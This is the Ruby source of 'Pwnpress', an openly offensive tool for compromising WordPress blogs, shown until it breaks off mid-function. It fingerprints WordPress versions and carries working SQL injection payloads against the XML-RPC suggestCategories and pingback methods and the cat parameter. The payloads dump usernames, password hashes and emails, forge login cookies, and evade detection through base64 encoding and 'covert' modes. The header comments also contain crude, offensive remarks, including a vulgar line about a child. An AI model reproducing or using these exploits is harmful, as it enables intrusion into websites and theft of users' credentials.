#!/usr/bin/env ruby # .---. .---. # : : o : happy antiblogging, dear kids! # _..-: 0 : :-.._ / # .-'' ' `---' `---' " ``-. Copyright (c) Lance M. Havok # .' " ' " . " . ' " `. <lmh [at] info-pull.com> # : '.---.,,.,...,.,.,.,..---. ' ; # `. " `. .' " .' ----- All rights reserved. # `. '`. .-/|||||||\-. .' ' .' 2006, 2007. # `. `-._ \|||/ _.-' " .' # `. " '"--...--"' . ' .' ...because blogs are useless # jgs .'`-._' " . " _.-'`. self-promotion and mental # .' ```--.....--''' ' `: masturbation... # "The blogosphere end is fucking nigh!" # -RELEASE LESS, RELEASE BEST- # == Disclaimer and license # This code is *NOT* GPL. Commercial usage is strictly forbidden (any activity # directly or indirectly generating revenue: consulting, distribution in slides, # mirroring in websites with ad/affiliate programs, advertise your web IDS, etc). # # == Pwnpress motivation and features # Pwnpress implements multiple techniques, bugs and tricks for compromising # Wordpress-based blogs, combining the exploits in the necessary order for # retrieving any necessary information to make the exploitation process as # reliable as possible. Because every time you 'blog', god mutilates the penis # of a poor 12 year old Vietnamese boy. # # Covertness capability is provided, dynamically adapting the payloads and # operations to lower potential 'noise' on the wire. Fingerprinting deploys few # methods able to detect all versions of Wordpress in their default installation # form without tampering of wp-includes/version.php # # Tested with Wordpress 2.2, 2.2.2, 2.0.5, 2.0.6, 2.1, (...), PHP/5.2.4 for # Apache 2.0.58 on Gentoo GNU/Linux. magic_quotes on and off for the different # exploits. # # == A short advice (for those who desperately need a working brain) # Due to the recent incidents of people ripping some of our work at Blackhat and # other *pointless* security conferences, we politely ask you to refrain from # doing such a mean thing. If you can't be creative, find a different hobby. # "DANGER RABBI ROBINSON: INFOWAR!" Gadi Evron, blogs.securiteam.com (WP 2.0.10) # Trespassers expect career disruption and public humiliation... :) # require 'digest/md5' require 'net/http' require 'base64' require 'irb' require 'uri' class Array # Return random item def rand_i return self[rand(self.size)] end end class String # http://snippets.dzone.com/posts/show/2111 def self.rnd(size = 16) (1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join end end # Oh jesuschrist, here comes the pie! class Pwnpress PWNPRESS_VERSION = "0.1pub" LATEST_VERSION_SUPPORTED = "2.2.2" DEFAULT_TABLE_PREFIX = "wp" KNOWN_REGEXPS = { :meta_generator => /<meta name="generator" content="(.+?)" \/>/, :rss_feed_links => [ /title="RSS 2.0" href="(.*)"/, /title="RSS .92" href="(.*)"/ ], :atom_feed_links => [ /title="Atom 0.3" href="(.*)"/ ], :rss2_generator => [ /<generator>http:\/\/wordpress.org\/?v=(.+?)<\/generator>/, /generator="(.+?)"/ ], :atom_generator => [ /uri="http:\/\/wordpress.org\/" version="(.+?)">Word(P|p)ress/ # This fixes dumb editors with stupid syntax highlighting :)" ] } attr_reader :results # Initialize the instance variables, etc. Perform any required operations # to set the initial state ready. def initialize(options) unless options[:target] != nil raise "Missing target URL parameter." end # Check for missing trailing slash, add if necessary if options[:target].split(//).last != '/' options[:target] << '/' end @url = URI.parse(options[:target]) @proxy_host = options[:proxy_host] @proxy_port = options[:proxy_port] @table_prefix = options[:table_prefix] @username = options[:username] @password = options[:password] @covert_level = options[:covert_level] @results = {} @finger_on = options[:fingerprint] if options[:version] == "auto" @version = fingerprint_wordpress() if @version msg_name = "Found Wordpress version." msg_desc = %Q{ Target has #{@version} installed. Current last release (devel) is #{@wp_versions.last}. Known versions: #{@wp_versions.size} (includes devel). } add_results_msg(:wp_version, :success, msg_name, msg_desc) else msg_name = "Can't find Wordpress version." msg_desc = %Q{ Target has an unknown Wordpress version installed. It might be fake or bogus. Please specify target version yourself, since fingerprinting failed :( } add_results_msg(:wp_version, :failure, msg_name, msg_desc) end else fingerprint_wordpress(true) @version = options[:version] end end # Attempt to verify wordpress presence and installed version + patch level: # # 1. Default installation contains a META generator header. # 2. Default RSS/ATOM feed generation code also provides version information. # 3. Default template and most styles include "Powered by" text. # # <meta name="generator" content="WordPress 2.2.2" /> # <!-- generator="wordpress/2.2.2" --> # <generator>http://wordpress.org/?v=2.2.2</generator> # proudly powered by <a href="http://wordpress.org/">WordPress</a> # <generator url="http://...org/" version="1.5.2">WordPress</generator> # # The above methods can be fooled by simply editing wp-includes/version.php # Covert level affects what methods might be used, depending on how clumsy # the activity could be on the wire. Fingerprinting is highly effective in # most cases but there are still users who decide to fake version strings, # therefore a method using some heuristics is provided as well. Obviously it # can be fooled as easily, but helps to identify branch and feature sets. # # Methods involving extremely simple "heuristics": # # 4. Detect the style and layout of the login interface. # 5. Detect files that are present only in certain revisions or branches. # 6. Detect plugins and themes or styles available only for some branches. # # This list isn't exhaustive, there are other potentially reliable # methods (depending on desired attack surface: default installation, custom # blogs, heavily modified code, etc). Ski ba bop ba dop bop! # def fingerprint_wordpress(only_retrieve_body = false) index_paths = [ "index.php", "?#comments" ] rss2_paths = [ "?feed=rss2", "?feed=comments-rss2" ] atom_paths = [ "?feed=atom", "?feed=comments-atom" ] unless @body @body = retrieve_content(index_paths.rand_i) if @body == nil raise "HTTP GET failed: wrong path or offline?" end end if @body and only_retrieve_body == false and @finger_on get_valid_versions_array # Retrieve existing RSS and ATOM feed paths. Note that this will # only try to match for the target url. If Wordpress has set a # different base url, then these checks won't use it. KNOWN_REGEXPS[:rss_feed_links].each do |rp| tmp_array = @body.scan(rp).flatten tmp_array.each do |uri| rss2_paths << uri.gsub(/#{@url.to_s}/,'') end end KNOWN_REGEXPS[:atom_feed_links].each do |rp| tmp_array = @body.scan(rp).flatten tmp_array.each do |uri| atom_paths << uri.gsub(/#{@url.to_s}/,'') end end # Method 1 meta_generator = @body.scan(KNOWN_REGEXPS[:meta_generator]).flatten if meta_generator wp_string = meta_generator[0].scan(/(.+?) (.*)/).flatten if wp_string.size == 2 if wp_string[0] =~ /Word(p|P)ress/i if wp_string[1] # Verify version against those known to be valid if @wp_versions.find { |v| v[0] == wp_string[1] } return wp_string[1] end end end end end # Note: could refactor these two as a method and save some lines, # but this is the only existing place where it would be used. # Method 2: RSS rss2 = get_meta_value(rss2_paths.rand_i, :rss2_generator) if rss2 and rss2[:str] ver = rss2[:str].scan(/(.*)\/(.*)/).flatten if ver and ver.size == 2 if @wp_versions.find { |v| v[0] == ver[1] } return ver[1] end end end # Method 2: ATOM atom = get_meta_value(atom_paths.rand_i, :atom_generator) if atom and atom[:str] if @wp_versions.find { |v| v[0] == atom[:str] } return atom[:str] end end # Method 4: determine login box layout and/or style. works for # checking if the version is post 2.2 branch or older (pre 2.2). # Besides that, this isn't of much help. if @covert_level < 1 login_body = retrieve_content("wp-login.php") if login_body =~ /<html xmlns="http:\/\/www.w3.org\/1999\/xhtml" dir="ltr">/ return "post-2.2" end if login_body =~ /<html xmlns="http:\/\/www.w3.org\/1999\/xhtml">/ return "pre-2.2" end end # Method 5: branch-persistent files if @covert_level < 1 # wp-app.php and wp-cron.php are from old 1.5 branch if retrieve_content("wp-app.php", @url, nil, true).code == "404" return "likely-2.2" else return "likely-1.5" end end # Method 3: final, we return nil since we really cant tell an exact # version. if @body =~ /(proudly powered by|Powered by) <a href=(.*)wordpress(.*)>/ return nil end end end # A brilliant bug fixed after 2.2(.0) which was exploitable by least # privileged users (ex. Subscribers) via the XML-RPC interface: # # function wp_suggestCategories($args) { # ... # $this->escape($args); # $blog_id = (int) $args[0]; # ... # $max_results = $args[4]; !! where's mr. (int)? # ... # if(!empty($max_results)) { # $limit = "LIMIT {$max_results}"; !! :> # # $category_suggestions = $wpdb->get_results(" !! "I see dead SQL :(" # SELECT cat_ID category_id, # cat_name category_name # FROM {$wpdb->categories} # WHERE cat_name LIKE '{$category}%' # {$limit} !! kekekekekekeKEKEKE! # "); # # return($category_suggestions); # # Fixed in later revisions (ex. 2.2.2). The bug was reported to the Wordpress # development team by Alex C, with a .NET C# proof of concept. # def exploit_220_suggestCategories_xmlrpc if @username and @password user_list = {} xmlrpc_path = get_xmlrpc_path() xml_payload = "<methodCall>\n" + "\t<methodName>wp.suggestCategories</methodName>\n"+ "\t<params>\n" + "\t\t<param><value>1</value></param>\n" + "\t\t<param><value>#{@username}</value></param>\n" + "\t\t<param><value>#{@password}</value></param>\n" + "\t\t<param><value>1</value></param>\n" + "\t\t<param><value>" + "0 UNION ALL SELECT user_login, user_pass FROM " + "WPR3F1X_users" + "</value></param>\n" + "\t</params>\n" + "</methodCall>\n" # Send the query if xmlrpc_path get_table_prefix() res = send_xmlrpc(xml_payload.gsub(/WPR3F1X/, @table_prefix), xmlrpc_path) if res =~ /Word(P|p)ress database error/ and @covert_level < 1 # Try to guess prefix again if we had an error get_table_prefix(:db_error, res) res = send_xmlrpc(xml_payload.gsub(/WPR3F1X/, @table_prefix), xmlrpc_path) end # No need for a full-blown XML parser. Ruby is *that* nice :> if res =~ /<member><name>category_id<\/name><value><string>/ regex = /<member><name>(.+?)<\/name><value><string>(.+?)<\/string><\/value><\/member>/ credentials = res.scan(regex) last_user = nil credentials.each do |a| if a[0] == "category_id" and a[1] user_list[a[1]] = { :passwd_hash => nil } last_user = a[1] end if a[0] == "category_name" and a[1] user_list[last_user][:passwd_hash] = a[1] cookie = get_cookie_hash(last_user, a[1]) if cookie and cookie.size == 2 user_list[last_user][:cookie_user] = cookie[0] user_list[last_user][:cookie_pass] = cookie[1] end end end add_to_results(:sql_injection_xmlrpc_220, :user_hashes, user_list) return true end # Did not work :( return false end else raise "Username and password required for XML-RPC injection in 2.2" end end # Nice pre-authentication bug found by different individuals, one of them my # appreciated fellow Jesus H. Christ who coded a rather dirty proof of concept # doing the job just fine, with magic_quotes = Off. This is a cleaner version # with few extra checks. Like the original Perl version, uses base64 to avoid # char filtering woes and as a side-effect (bonus!) for mod_security evasion # :> (thanks to XML-RPC handling, which supports base64 encoded elements). # def exploit_222_pingback_xmlrpc user_list = {} tags_list = [] xmlrpc_path = get_xmlrpc_path() get_table_prefix() # First we need to scan for some tags (categories), this is most likely # 100% reliable if rewrite rules are enabled and theme is Wordpress # compliant (or follows the usual scheme). tags_list = get_existing_tags() unless tags_list.size > 0 msgs = { :failure => { :response => "Can't find suitable tag." } } msgs[:failure][:description] = %Q{ \t A suitable permalink-style path is required for the exploit \t to be successful. Failure to find this parameter indicates \t that most probably the target is not using URL rewrite rules. \t The bug does not trigger with "emulated" index.php/ style \t paths. } add_to_results(:sql_injection_xmlrpc_222, :messages, msgs) return false end sql_query = tags_list.rand_i[:link] sql_query << "#{String.rnd}&post_type=#{String.rnd}\%27)" sql_query << " UNION SELECT CONCAT(user_pass, \%27 - \%27, user_login," sql_query << " \%27 - \%27, user_email), 2,3,4,5,6,7,8,9,10,11,12,13," sql_query << "14,15,16,17,18,19,20,21,22,23,24 FROM " sql_query << "WPR3F1X_users\%2F*" xml_payload = "<methodCall>\n\t<methodName>" + "pingback.extensions.getPingbacks" + "</methodName>\n" + "\t<base64>INJ_SQL_QUERY</base64>\n" + "</methodCall>\n" # Send the query if xmlrpc_path tmp = sql_query.gsub(/WPR3F1X/, @table_prefix) tmp = xml_payload.gsub(/INJ_SQL_QUERY/, Base64.encode64(tmp)) res = send_xmlrpc(tmp, xmlrpc_path) if res =~ /Word(P|p)ress database error/ and @covert_level < 1 # Try to guess prefix again if we had an error get_table_prefix(:db_error, res) tmp = sql_query.gsub(/WPR3F1X/, @table_prefix) tmp = xml_payload.gsub(/INJ_SQL_QUERY/, Base64.encode64(tmp)) res = send_xmlrpc(tmp, xmlrpc_path) end wpuser_blob = res.scan(/WHERE post_id IN \((.*?)\)/s).flatten[0] credentials = wpuser_blob.scan(/([a-z0-9]{32}) \- (.*?) \- ([^,]+)/i) credentials.each do |a| password_hash = a[0] poor_username = a[1] email_address = a[2] user_list[poor_username] = { :email_addr => email_address, :passwd_hash => password_hash } cookie = get_cookie_hash(poor_username, password_hash) if cookie and cookie.size == 2 user_list[poor_username][:cookie_user] = cookie[0] user_list[poor_username][:cookie_pass] = cookie[1] end end add_to_results(:sql_injection_xmlrpc_222, :user_hashes, user_list) return true end return false end # One of the most sloppy, unreliable and awkward exploits ever released for # Wordpress. The original exploit from Stefan Esser was mediocre at best. # No offense meant, it was just a seriously deficient piece of horse shit. def exploit_205_trackback_utf7 wpuser_list = {} sql_query = "" # Left to be implemented someday... end # Present in 1.5.1.1, this one allows dead easy SQL injection (ex. via cat # variable, for category, in the index page right away). The SQL query here # is loosely based on the original exploit by Alberto Trivero, with extra # output. Also, we support multiple user dumping by limiting the query per # id, and iterating randomly if covert level allows it (since we are doing # a GET request, as clumsy as cmd.exe at packages.gentoo.org :>). def exploit_1511_catsqlinjection user_list = {} sql_query = "#{rand(40)} UNION SELECT NULL,CONCAT(CHAR(58),user_pass," sql_query << "CHAR(58),user_email,CHAR(58),user_login,CHAR(58)),2," sql_query << "NULL,NULL FROM WPR3F1X_users WHERE id = TUSER/*" get_table_prefix() if @covert_level > 1 iterations = 1 else iterations = rand(20)+1 end user_id = 1 iterations.times do tmp = sql_query.gsub(/TUSER/, user_id.to_s) tmp = URI.encode(tmp.gsub(/WPR3F1X/, @table_prefix)) res = retrieve_content("?cat=#{tmp}") if res =~ /Word(P|p)ress database error/ and @covert_level < 1 get_table_prefix(:db_error, res) tmp = sql_query.gsub(/TUSER/, user_id.to_s) tmp = URI.encode(tmp.gsub(/WPR3F1X/, @table_prefix)) res = retrieve_content("?cat=#{tmp}") end if res val = res.scan(/:([a-z0-9]{32}):(.*?):(.*?): category/).flatten if val.size == 3 user_list[val[2]] = {
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